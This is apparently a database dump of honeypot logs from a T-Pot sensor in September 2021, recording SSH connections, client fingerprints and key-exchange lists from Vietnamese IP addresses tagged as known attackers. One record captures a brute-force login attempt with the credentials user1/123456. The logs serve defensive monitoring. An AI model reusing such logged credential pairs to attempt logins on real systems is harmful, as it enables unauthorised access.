"chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 32986, "dest_port": 22, "timestamp": "2021-09-20T11:13:34.287620", "@timestamp": "2021-09-20T11:13:34.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27026	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:33.729824+03	2021-09-20 14:15:14.038675+03	{"_id": "FQbpAnwBvYTbRNuERiU1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "af97bc5057da", "@version": "1", "duration": 4.741101026535034, "timestamp": "2021-09-20T11:13:33.729824Z", "@timestamp": "2021-09-20T11:13:33.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27027	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:33.945291+03	2021-09-20 14:15:14.039681+03	{"_id": "FgbpAnwBvYTbRNuERiU1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "11525fb6ded7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:33.945291Z", "@timestamp": "2021-09-20T11:13:33.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27028	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:33.690357+03	2021-09-20 14:15:14.040646+03	{"_id": "FwbpAnwBvYTbRNuERiU5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:60834 (192.168.176.2:22) [session: 11525fb6ded7]", "session": "11525fb6ded7", "@version": "1", "protocol": "ssh", "src_port": 60834, "dest_port": 22, "timestamp": "2021-09-20T11:13:33.690357Z", "@timestamp": "2021-09-20T11:13:33.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27247	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:39.243324+03	2021-09-20 14:15:14.328646+03	{"_id": "dwbpAnwBvYTbRNuEWSXD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [user1/123456] failed", "session": "b102fd58f9b3", "@version": "1", "password": "123456", "username": "user1", "timestamp": "2021-09-20T11:13:39.243324Z", "@timestamp": "2021-09-20T11:13:39.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27030	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:34.070968+03	2021-09-20 14:15:14.044674+03	{"_id": "JQbpAnwBvYTbRNuERiU5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "90eba1df5dca", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:34.070968Z", "@timestamp": "2021-09-20T11:13:34.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27031	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:34.288332+03	2021-09-20 14:15:14.045674+03	{"_id": "JgbpAnwBvYTbRNuERiU5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "90eba1df5dca", "@version": "1", "timestamp": "2021-09-20T11:13:34.288332Z", "@timestamp": "2021-09-20T11:13:34.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27032	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:35.097739+03	2021-09-20 14:15:14.047648+03	{"_id": "JwbpAnwBvYTbRNuESCU6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1985595272214115, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 7247, "dest_port": 22, "timestamp": "2021-09-20T11:13:35.097739Z", "@timestamp": "2021-09-20T11:13:35.097Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27033	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:34.822993+03	2021-09-20 14:15:14.048646+03	{"_id": "KgbpAnwBvYTbRNuESSVp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7247, "timestamp": "2021-09-20T11:13:34.822993", "@timestamp": "2021-09-20T11:13:34.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27034	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:34.818134+03	2021-09-20 14:15:14.049647+03	{"_id": "LwbpAnwBvYTbRNuESiUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:7247 (192.168.176.2:22) [session: 0f9ae09f884d]", "session": "0f9ae09f884d", "@version": "1", "protocol": "ssh", "src_port": 7247, "dest_port": 22, "timestamp": "2021-09-20T11:13:34.818134Z", "@timestamp": "2021-09-20T11:13:34.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27035	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:35.280563+03	2021-09-20 14:15:14.050646+03	{"_id": "MAbpAnwBvYTbRNuESiUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:44374 (192.168.176.2:22) [session: 8ad84656c0f1]", "session": "8ad84656c0f1", "@version": "1", "protocol": "ssh", "src_port": 44374, "dest_port": 22, "timestamp": "2021-09-20T11:13:35.280563Z", "@timestamp": "2021-09-20T11:13:35.280Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27036	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:34.820902+03	2021-09-20 14:15:14.052648+03	{"_id": "MQbpAnwBvYTbRNuESiUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0f9ae09f884d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:34.820902Z", "@timestamp": "2021-09-20T11:13:34.820Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27037	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:35.296885+03	2021-09-20 14:15:14.053646+03	{"_id": "MwbpAnwBvYTbRNuESiUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8ad84656c0f1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:35.296885Z", "@timestamp": "2021-09-20T11:13:35.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27038	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:35.505783+03	2021-09-20 14:15:14.054675+03	{"_id": "NAbpAnwBvYTbRNuESiUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8ad84656c0f1", "@version": "1", "timestamp": "2021-09-20T11:13:35.505783Z", "@timestamp": "2021-09-20T11:13:35.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27039	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:13:36.083496+03	2021-09-20 14:15:14.055675+03	{"_id": "SgbpAnwBvYTbRNuETCUj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2113265322680575, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47580, "dest_port": 22, "timestamp": "2021-09-20T11:13:36.083496Z", "@timestamp": "2021-09-20T11:13:36.083Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
